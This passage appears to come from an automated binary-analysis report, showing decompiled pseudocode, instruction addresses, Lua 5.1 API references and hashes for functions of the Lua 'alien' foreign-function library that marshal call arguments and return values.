							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t130, __edi);
							asm("fild dword [ebp-0x54]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 5:
							L44:
							_t141 = __ebp - 0x58; // -84
							__eax = _t141;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t141, __edi);
							asm("fild dword [ebp-0x58]");
							__edx =  *(__ebp - 0x58);
							L45:
							if(__edx < 0) {
								__fp0 = __fp0 +  *0x5e5878;
							}
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 6:
							L39:
							E005E4130(_t245, _t261, _t270, _t292,  *((intOrPtr*)(_t275 - 0x14)) + 0x10,  *((intOrPtr*)( *((intOrPtr*)(_t275 - 0x14)) + 4)), 0, _t270);
							_push(_t273);
							L005E3F74();
							_t280 = _t279 + 0x14;
							goto L62;
						case 7:
							L51:
							_t159 = __ebp - 0x50; // -76
							__eax = _t159;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t159, __edi);
							__fp0 =  *(__ebp - 0x50);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 8:
							L52:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t165 = __ebp - 0x60; // -92
							__edx = _t165;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__fp0 =  *(__ebp - 0x60);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 9:
							L49:
							_t149 = __ebp - 0x20; // -28
							__eax = _t149;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t149, __edi);
							__edx =  *(__ebp - 0x20) & 0x000000ff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xa:
							L50:
							_t154 = __ebp - 0x20; // -28
							__eax = _t154;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t154, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xb:
							L53:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t169 = __ebp - 0x3c; // -56
							__edx = _t169;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								goto L55;
							}
							L54:
							_push(__eax);
							_push(__esi);
							L005E3EF0();
							__esp = __esp + 8;
							goto L62;
						case 0xc:
							L56:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t173 = __ebp - 0x3c; // -56
							__edx = _t173;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								L55:
								_push(__esi);
								L005E3F74();
								__esp = __esp + 4;
								goto L62;
							}
							L57:
							_push(__eax);
							_push(__esi);
							L005E3F7A();
							__esp = __esp + 8;
							goto L62;
					}
				}
			}

0x005e2276
0x005e2276
0x005e2276
0x005e2276
0x005e2276
0x005e227b
0x005e2280
0x005e2283
0x005e2285
0x005e228a
0x005e228f
0x005e2290
0x005e2291
0x005e22cd
0x005e22d2
0x005e22d7
0x005e22eb
0x005e22ed
0x005e22ee
0x005e22ef
0x005e22f4
0x005e22fa
0x005e22fe
0x005e2301
0x005e22d9
0x005e22d9
0x005e22df
0x005e22e3
0x005e22e3
0x005e2293
0x005e2293
0x005e2298
0x005e229d
0x005e22b1
0x005e22b2
0x005e22b3
0x005e22b8
0x005e22bb
0x005e22bd
0x005e22bf
0x005e22c2
0x005e22c5
0x005e229f
0x005e229f
0x005e22a2
0x005e22a4
0x005e22a6
0x005e22a9
0x005e22a9
0x005e229d
0x005e24ec
0x005e24ec
0x005e24ec
0x005e24f0
0x005e24f3
0x005e24f3
0x005e24f7
0x00000000
0x00000000
0x005e2071
0x005e2071
0x005e2074
0x005e207a
0x005e2080
0x005e24d0
0x005e24d0
0x005e24d5
0x005e24d7
0x005e24d7
0x005e24dc
0x005e24dd
0x005e24de
0x005e24e3
0x005e24e4
0x005e24e9
0x00000000
0x005e24e9
0x005e2086
0x005e2086
0x00000000
0x005e208d
0x005e2092
0x005e2097
0x005e209a
0x005e209b
0x005e209c
0x005e20a1
0x005e20a4
0x005e20a9
0x005e20ac
0x005e20af
0x005e20b2
0x00000000
0x00000000
0x005e2112
0x005e2117
0x005e211c
0x005e211f
0x005e2120
0x005e2121
0x005e2126
0x005e2129
0x005e212d
0x005e2130
0x005e2133
0x005e2138
0x005e213b
0x005e213e
0x005e2141
0x005e2148
0x005e214b
0x005e214e
0x00000000
0x00000000
0x005e20e6
0x005e20e6
0x005e20eb
0x005e20f0
0x005e20f3
0x005e20f4
0x005e20f5
0x005e20fa
0x005e20fd
0x005e2102
0x005e2105
0x005e2108
0x005e210a
0x00000000
0x00000000
0x005e2198
0x005e219d
0x005e21a2
0x005e21a5
0x005e21a6
0x005e21a7
0x005e21ac
0x005e21af
0x005e21b3
0x005e21b6
0x005e21b9
0x005e21be
0x005e21c1
0x005e21c4
0x005e21c7
0x005e21ca
0x005e21cd
0x005e21cf
0x005e21d2
0x00000000
0x00000000
0x005e20ba
0x005e20ba
0x005e20bf
0x005e20c4
0x005e20c7
0x005e20c8
0x005e20c9
0x005e20ce
0x005e20d1
0x005e20d6
0x005e20d9
0x005e20db
0x005e20de
0x00000000
0x00000000
0x005e2156
0x005e215b
0x005e2160
0x005e2163
0x005e2164
0x005e2165
0x005e216a
0x005e216d
0x005e2171
0x005e2174
0x005e2177
0x005e217c
0x005e217f
0x005e2182
0x005e2185
0x005e2188
0x005e218b
0x005e218d
0x005e2190
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2228
0x005e222d
0x005e2232
0x005e2235
0x005e2236
0x005e2237
0x005e223c
0x005e223f
0x005e2242
0x005e2244
0x005e2247
0x00000000
0x00000000
0x005e224f
0x005e2254
0x005e2259
0x005e225c
0x005e225d
0x005e225e
0x005e2263
0x005e2266
0x005e2269
0x005e226b
0x005e226e
0x00000000
0x00000000
0x005e21da
0x005e21df
0x005e21e4
0x005e21e7
0x005e21e8
0x005e21e9
0x005e21ee
0x005e21f1
0x005e21f3
0x005e21f6
0x005e21f9
0x00000000
0x00000000
0x005e2201
0x005e2201
0x005e2206
0x005e220b
0x005e220e
0x005e220f
0x005e2210
0x005e2215
0x005e2218
0x005e221b
0x005e221d
0x005e2220
0x00000000
0x00000000
0x00000000
0x00000000
0x005e237e
0x005e237e
0x005e2383
0x005e2388
0x005e238b
0x005e238c
0x005e238d
0x005e2392
0x005e2397
0x005e23a9
0x005e23aa
0x005e23ab
0x005e23b0
0x005e23b5
0x005e23d3
0x005e23d4
0x005e23d5
0x005e23da
0x005e23dd
0x005e23df
0x005e23e2
0x005e23e5
0x005e23b7
0x005e23b7
0x005e23b9
0x005e23ba
0x005e23bb
0x005e23c0
0x005e23c3
0x005e23c5
0x005e23c8
0x005e23cb
0x005e23cb
0x005e2399
0x005e2399
0x005e239c
0x005e239e
0x005e23a1
0x005e23a1
0x00000000
0x00000000
0x005e23ed
0x005e23ed
0x005e23ee
0x005e23ef
0x005e23f4
0x005e23f7
0x005e23fc
0x005e23ff
0x005e2406
0x005e240b
0x005e240e
0x005e2411
0x005e2413
0x005e2415
0x005e2418
0x005e241b
0x00000000
0x00000000
0x005e2423
0x005e2423
0x005e2424
0x005e2425
0x005e242a
0x005e242d
0x005e2431
0x005e2434
0x005e2439
0x005e243c
0x005e243f
0x005e2442
0x005e2445
0x005e2448
0x005e244a
0x005e244f
0x005e2452
0x005e2457
0x005e245a
0x005e245d
0x005e245f
0x005e2461
0x005e2464
0x005e2467
0x00000000
0x00000000
0x005e246f
0x005e246f
0x005e2470
0x005e2471
0x005e2476
0x005e2479
0x005e247e
0x005e2481
0x005e2488
0x005e248d
0x005e2490
0x005e2493
0x005e2495
0x005e2497
0x005e249a
0x005e249d
0x00000000
0x00000000
0x005e24a2
0x005e24a2
0x005e24a3
0x005e24a4
0x005e24a9
0x005e24ac
0x005e24ae
0x005e24b6
0x005e24bb
0x005e24be
0x005e24c1
0x005e24c3
0x005e24c5
0x005e24c8
0x005e24cb
0x00000000
0x00000000
0x005e2309
0x005e2309
0x005e230e
0x005e2313
0x005e231b
0x005e2325
0x005e233e
0x005e2348
0x005e235d
0x005e2362
0x005e2363
0x005e2364
0x005e2369
0x005e236c
0x005e236f
0x005e2372
0x005e2374
0x005e2376
0x005e234a
0x005e234a
0x005e234d
0x005e2350
0x005e2353
0x005e2355
0x005e2355
0x005e2327
0x005e2327
0x005e2329
0x005e232c
0x005e232f
0x005e2331
0x005e2331
0x00000000
0x00000000
0x005e2086
0x005e24fd
0x005e24fd
0x005e2500
0x005e2507
0x005e250d
0x005e2753
0x005e2753
0x005e2758
0x005e275a
0x005e275a
0x005e275f
0x005e2760
0x005e2765
0x005e2766
0x005e276b
0x005e276b
0x005e276e
0x005e278a
0x005e2790
0x005e2795
0x005e279d
0x005e27a0
0x005e2843
0x005e2858
0x005e2859
0x005e285a
0x005e2868
0x00000000
0x00000000
0x00000000
0x005e27a6
0x005e27a6
0x005e27af
0x005e27b5
0x00000000
0x00000000
0x005e27bb
0x005e27bb
0x00000000
0x005e27c2
0x005e27c5
0x005e27c7
0x005e27ca
0x005e27cd
0x005e27ce
0x005e27d3
0x005e27d6
0x00000000
0x00000000
0x005e27dc
0x005e27dc
0x005e27df
0x005e27e1
0x005e27e5
0x005e27e7
0x005e27e7
0x005e27ed
0x005e27f0
0x005e27f3
0x005e27f4
0x005e27f9
0x005e27fc
0x00000000
0x00000000
0x005e2818
0x005e2818
0x005e281b
0x005e281e
0x005e2821
0x005e2824
0x005e2827
0x005e282a
0x005e282b
0x005e2830
0x005e2833
0x00000000
0x00000000
0x005e2802
0x005e2802
0x005e2804
0x005e2807
0x005e280a
0x005e280b
0x005e2810
0x005e2813
0x00000000
0x00000000
0x005e2837
0x005e2837
0x005e283a
0x00000000
0x005e27a6
0x005e2513
0x005e2513
0x00000000
0x005e253b
0x005e253b
0x005e253e
0x005e2542
0x005e2547
0x005e254b
0x005e2550
0x005e2554
0x005e2557
0x005e255a
0x005e255d
0x005e2560
0x005e2561
0x00000000
0x00000000
0x005e25bd
0x005e25bd
0x005e25c0
0x005e25c4
0x005e25c4
0x005e25c9
0x005e25cd
0x005e25d2
0x005e25d6
0x005e25d9
0x005e25dc
0x005e25df
0x005e25e2
0x005e25e3
0x00000000
0x00000000
0x005e2594
0x005e2594
0x005e2597
0x005e259b
0x005e259b
0x005e25a0
0x005e25a4
0x005e25a9
0x005e25ac
0x005e25af
0x005e25b2
0x005e25b3
0x00000000
0x00000000
0x005e2623
0x005e2624
0x005e2624
0x005e2628
0x005e262b
0x005e262f
0x005e2633
0x005e2638
0x005e263b
0x00000000
0x00000000
0x005e256b
0x005e256c
0x005e256c
0x005e2570
0x005e2573
0x005e2577
0x005e257b
0x005e2580
0x005e2583
0x005e2586
0x005e2589
0x005e258a
0x00000000
0x00000000
0x005e25ed
0x005e25ee
0x005e25ee
0x005e25f2
0x005e25f5
0x005e25f9
0x005e25fd
0x005e2602
0x005e2605
0x005e2608
0x005e260a
0x005e260c
0x005e260c
0x005e2612
0x005e2615
0x005e2618
0x005e2619
0x00000000
0x00000000
0x005e251a
0x005e2528
0x005e252d
0x005e252e
0x005e2533
0x00000000
0x00000000
0x005e26a0
0x005e26a1
0x005e26a1
0x005e26a5
0x005e26a8
0x005e26ac
0x005e26b0
0x005e26b5
0x005e26b8
0x005e26bb
0x005e26be
0x005e26bf
0x00000000
0x00000000
0x005e26c9
0x005e26c9
0x005e26cc
0x005e26d0
0x005e26d0
0x005e26d5
0x005e26d9
0x005e26de
0x005e26e1
0x005e26e4
0x005e26e7
0x005e26e8
0x00000000
0x00000000
0x005e2640
0x005e2641
0x005e2641
0x005e2645
0x005e2648
0x005e264c
0x005e2650
0x005e2655
0x005e2659
0x005e265c
0x005e265f
0x005e2662
0x005e2665
0x005e2666
0x00000000
0x00000000
0x005e2670
0x005e2671
0x005e2671
0x005e2675
0x005e2678
0x005e267c
0x005e2680
0x005e2685
0x005e2689
0x005e268c
0x005e268f
0x005e2692
0x005e2695
0x005e2696
0x00000000
0x00000000
0x005e26f2
0x005e26f2
0x005e26f5
0x005e26f9
0x005e26f9
0x005e2702
0x005e2707
0x005e270f
0x00000000
0x00000000
0x005e2711
0x005e2711
0x005e2712
0x005e2713
0x005e2718
0x00000000
0x00000000
0x005e2728
0x005e2728
0x005e272b
0x005e272f
0x005e272f
0x005e2738
0x005e273d
0x005e2745
0x005e271d
0x005e271d
0x005e271e
0x005e2723
0x00000000
0x005e2723
0x005e2747
0x005e2747
0x005e2748
0x005e2749
0x005e274e
0x00000000
0x00000000
0x005e2513

APIs

lua_isuserdata.LUA5.1 ref: 005E2285
lua_type.LUA5.1 ref: 005E2293
lua_touserdata.LUA5.1 ref: 005E22B3
lua_type.LUA5.1 ref: 005E22CD
lua_pushnil.LUA5.1(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E252E

Part of subcall function 005E4130: __alloca_probe_16.LIBCMT ref: 005E4160

lua_pushnumber.LUA5.1(?,?,?), ref: 005E2561
lua_pushnumber.LUA5.1(?), ref: 005E27CE
lua_pushnumber.LUA5.1(?), ref: 005E27F4

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$lua_type.$__alloca_probe_16lua_isuserdata.lua_pushnil.lua_touserdata.
String ID:
API String ID: 2469171799-0
Opcode ID: 1134566553549d4bc98a0c545b41e3784f13bcd6c77a332112eb3949b95d66fe
Instruction ID: 25e6680d31c456b07704bc2950ee2b43ba9d5a2a5ced089d3ed1f9a398e5772a
Opcode Fuzzy Hash: 1134566553549d4bc98a0c545b41e3784f13bcd6c77a332112eb3949b95d66fe
Instruction Fuzzy Hash: A3C1D5B5D04146ABCB08EB95DC85DEEBFB8FF89300F148458F481B724AD6359A15CB61

Uniqueness

Uniqueness Score: -1.00%

Function 005E237E, Relevance: 30.3, APIs: 20, Instructions: 342
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E005E237E(void* __edi, long long __fp0) {
				long long* __ebx;
				void* __esi;
				intOrPtr _t220;
				signed int _t223;
				char* _t224;
				signed int _t225;
				char* _t226;
				signed int _t237;
				void* _t245;
				void* _t247;
				intOrPtr* _t248;
				intOrPtr _t249;
				intOrPtr _t250;
				intOrPtr* _t260;
				void* _t270;
				signed int _t271;
				void* _t272;
				void* _t274;
				signed int _t275;
				intOrPtr _t277;
				intOrPtr _t278;
				void* _t279;
				void* _t280;
				long long _t292;

				L0:
				while(1) {
					L0:
					_t292 = __fp0;
					_t270 = __edi;
					_t220 = E005E46A0(4);
					 *((intOrPtr*)(_t275 - 8)) = _t277;
					_push(_t245);
					L005E3F4A();
					_t278 = _t277 + 8;
					if(_t220 != 0) {
						_push(_t245);
						_push(_t273);
						L005E3F56();
						_t279 = _t278 + 8;
						if(_t220 == 0) {
							_push(_t245);
							_push(_t273);
							L005E3F0E();
							_t248 =  *((intOrPtr*)(_t275 - 8));
							 *_t248 = _t220;
							_t278 = _t279 + 8;
							 *((intOrPtr*)( *((intOrPtr*)(_t275 - 0xc)) + __edi)) = _t248;
						} else {
							_push(0);
							_push(_t245);
							_push(_t273);
							L005E3F5C();
							_t260 =  *((intOrPtr*)(_t275 - 8));
							 *_t260 = _t220;
							_t278 = _t279 + 0xc;
							 *((intOrPtr*)( *((intOrPtr*)(_t275 - 0xc)) + __edi)) = _t260;
						}
					} else {
						__ecx =  *(__ebp - 8);
						 *__ecx = __eax;
						__eax =  *(__ebp - 0xc);
						 *(__eax + __edi) = __ecx;
					}
					while(1) {
						L36:
						 *((intOrPtr*)(_t275 - 0xc)) =  *((intOrPtr*)(_t275 - 0xc)) + 4;
						_t245 = _t245 + 1;
						_t116 = _t275 - 0x4c;
						 *_t116 =  *((intOrPtr*)(_t275 - 0x4c)) - 1;
						if( *_t116 == 0) {
							break;
						}
						L1:
						_t249 =  *((intOrPtr*)(_t275 - 0x14));
						_t223 =  *( *((intOrPtr*)(_t275 - 0xc)) +  *((intOrPtr*)(_t249 + 0x30)));
						if(_t223 > 0x11) {
							L33:
							_t224 =  *(_t249 + 8);
							if(_t224 == 0) {
								_t224 = "anonymous";
							}
							_push(_t224);
							_push(_t245);
							_push("alien: parameter %i is of unknown type (function %s)");
							_push(_t273);
							L005E3F26();
							_t278 = _t278 + 0x10;
							continue;
						}
						L2:
						switch( *((intOrPtr*)(_t223 * 4 +  &M005E287C))) {
							case 0:
								L3:
								_t242 = E005E46A0(4);
								 *((intOrPtr*)(_t275 - 8)) = _t278;
								_push(_t245);
								_push(_t273);
								L005E3F68();
								_t278 = _t278 + 8;
								_t243 = E005E45C0(_t242, _t292);
								_t259 =  *((intOrPtr*)(_t275 - 8));
								_t261 =  *((intOrPtr*)(_t275 - 0xc));
								 *_t259 = _t243;
								 *((intOrPtr*)( *((intOrPtr*)(_t275 - 0xc)) + _t270)) = _t259;
								goto L36;
							case 1:
								L6:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp dword [ebp-0x18]");
								 *__eax =  *(__ebp - 0x18);
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 2:
								L5:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __eax;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 3:
								L8:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 4:
								L4:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								 *__ecx = __eax;
								__eax =  *(__ebp - 0xc);
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 5:
								L7:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 6:
								goto L33;
							case 7:
								L11:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__ecx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__ecx + __edi) = __eax;
								goto L36;
							case 8:
								L12:
								8 = E005E4686(8);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__edx + __edi) = __eax;
								goto L36;
							case 9:
								L9:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								 *__ecx = __al;
								__eax =  *(__ebp - 0xc);
								__esp = __esp + 8;
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 0xa:
								L10:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __al;
								__esp = __esp + 8;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 0xb:
								L13:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F50();
								__esp = __esp + 8;
								_push(__ebx);
								_push(__esi);
								if(__eax == 0) {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										__esp = __esp + 0xc;
										 *(__ecx + __edi) = __eax;
									} else {
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										 *(__ecx + __edi) = __eax;
									}
								} else {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__ecx + __edi) = __eax;
									} else {
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										 *(__ecx + __edi) = __eax;
									}
								}
								goto L36;
							case 0xc:
								goto L0;
							case 0xd:
								L29:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x24);
								 *( *(__ebp - 0x24)) = __eax;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x24);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x24) = __ecx;
								goto L36;
							case 0xe:
								L30:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__ecx =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__esp = __esp + 8;
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__eax =  *(__ebp - 0x1c);
								 *( *(__ebp - 0x28)) =  *(__ebp - 0x1c);
								__eax = 4;
								asm("fldcw word [ebp-0xe]");
								__eax = E005E46A0(4);
								__ecx =  *(__ebp - 0x28);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x28) = __ecx;
								goto L36;
							case 0xf:
								L31:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x2c);
								 *( *(__ebp - 0x2c)) = __al;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x2c);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 1;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x2c) = __ecx;
								goto L36;
							case 0x10:
								L32:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 0x40);
								 *( *(__ebp - 0x40)) = __fp0;
								__esp = __esp + 8;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x40);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 8;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x40) = __ecx;
								goto L36;
							case 0x11:
								L20:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								__eax = E005E1110(__eax, __ebx, __esi, "alien_callback");
								if(__eax == 0) {
									__eax = E005E1110(__eax, __ebx, __esi, "alien_function");
									if(__eax == 0) {
										_push("alien function or callback expected");
										_push(__ebx);
										_push(__esi);
										L005E3F14();
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										__eax = 0;
										 *__ecx = 0;
										 *(__edx + __edi) = __ecx;
									} else {
										__eax =  *(__eax + 4);
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										 *__ecx = __eax;
										 *(__edx + __edi) = __ecx;
									}
								} else {
									__eax =  *__eax;
									__ecx =  *(__ebp - 8);
									__edx =  *(__ebp - 0xc);
									 *__ecx = __eax;
									 *(__edx + __edi) = __ecx;
								}
								goto L36;
						}
					}
					L37:
					_t250 =  *((intOrPtr*)(_t275 - 0x14));
					 *((intOrPtr*)(_t275 - 0x3c)) = 0;
					_t225 =  *(_t250 + 0xc);
					if(_t225 > 0xc) {
						L58:
						_t226 =  *(_t250 + 8);
						if(_t226 == 0) {
							_t226 = "anonymous";
						}
						_push(_t226);
						_push("alien: unknown return type (function %s)");
						_push(_t273);
						L005E3F26();
						L61:
						_t280 = _t278 + 0xc;
						L62:
						 *((intOrPtr*)(_t275 - 0x24)) =  *((intOrPtr*)(_t275 - 0x24)) +  ~( *(_t275 - 0x48)) * 4;
						 *((intOrPtr*)(_t275 - 0x2c)) =  *((intOrPtr*)(_t275 - 0x2c)) -  *((intOrPtr*)(_t275 - 0x30));
						_t271 = 0;
						 *((intOrPtr*)(_t275 - 0x28)) =  *((intOrPtr*)(_t275 - 0x28)) +  ~( *(_t275 - 0x38)) * 4;
						if( *((intOrPtr*)(_t275 - 0x44)) <= 0) {
							L72:
							_pop(_t272);
							_pop(_t274);
							_pop(_t247);
							return E005E45A4( *((intOrPtr*)(_t275 - 0x30)) +  *((intOrPtr*)(_t275 - 0x34)) +  *(_t275 - 0x38) +  *(_t275 - 0x48) + 1, _t247,  *(_t275 - 4) ^ _t275,  *(_t275 - 0x48), _t272, _t274);
						} else {
							goto L63;
						}
						do {
							L63:
							_t237 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t275 - 0x14)) + 0x30)) + _t271 * 4)) + 0xfffffff3;
							if(_t237 > 3) {
								goto L71;
							}
							L64:
							switch( *((intOrPtr*)(_t237 * 4 +  &M005E28F8))) {
								case 0:
									L65:
									asm("fild dword [ecx]");
									_t283 = _t280 - 8;
									 *_t283 = _t292;
									_push(_t273);
									L005E3F80();
									_t280 = _t283 + 0xc;
									 *((intOrPtr*)(_t275 - 0x24)) =  *((intOrPtr*)(_t275 - 0x24)) + 4;
									goto L71;
								case 1:
									L66:
									__edx =  *(__ebp - 0x28);
									__eax =  *__edx;
									asm("fild dword [edx]");
									if(__eax < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x28) =  *(__ebp - 0x28) + 4;
									goto L71;
								case 2:
									L70:
									__ecx =  *(__ebp - 0x2c);
